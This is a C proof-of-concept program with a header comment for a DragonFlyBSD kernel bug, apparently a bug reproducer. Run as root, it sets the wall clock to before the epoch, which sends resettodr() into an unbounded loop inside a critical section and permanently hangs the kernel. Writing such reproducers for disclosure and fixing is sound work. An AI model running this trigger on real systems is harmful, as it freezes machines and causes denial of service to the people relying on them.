/*
 * DF-5330 - DragonFlyBSD sys/platform/pc64/isa/clock.c resettodr()
 *           pre-epoch wall clock -> unbounded year loop inside crit_enter()
 *           -> permanent kernel hang (privileged local DoS).
 *
 * Chain:
 *   settimeofday({tv_sec:-1})                      [kern/kern_time.c:655]
 *     -> caps_priv_check_self(SYSCAP_NOSETTIME)     ok as root
 *     -> settime()                                  [kern/kern_time.c:127]
 *        -> set_timeofday(&ts)                      wall clock = 1969-12-31
 *        -> resettodr()                             [kern/kern_time.c:167]
 *           -> microtime(&tv)                       tv.tv_sec == -1
 *           -> tm = tv.tv_sec  (unsigned long)      tm = 0xFFFFFFFFFFFFFFFF
 *           -> year loop  clock.c:1175              ~5e16 iterations,
 *              crit_enter() held (clock.c:1161), masterclock_lock held.
 *
 * Expected: settimeofday() never returns; the syscall thread spins in
 * kernel space on cpu0 with preemption/interrupts deferred; system
 * freezes (no panic, no console output).  Success criterion for the
 * bug: the marker line "settimeofday RETURNED" is NEVER printed and
 * the guest becomes unresponsive.
 *
 * Build: cc -O -o df5330 df5330.c
 * Run (as root): ./df5330
 */
#include <sys/time.h>
#include <stdio.h>

int
main(void)
{
	struct timeval tv;

	tv.tv_sec = -1;		/* 1969-12-31T23:59:59Z, before the epoch */
	tv.tv_usec = 0;

	printf("DF-5330: setting wall clock to tv_sec=-1 ...\n");
	fflush(stdout);
	if (settimeofday(&tv, NULL) < 0) {
		perror("settimeofday");
		return 1;
	}
	/* NOT REACHED when the bug triggers */
	printf("settimeofday RETURNED (bug did not trigger)\n");
	fflush(stdout);
	return 0;
}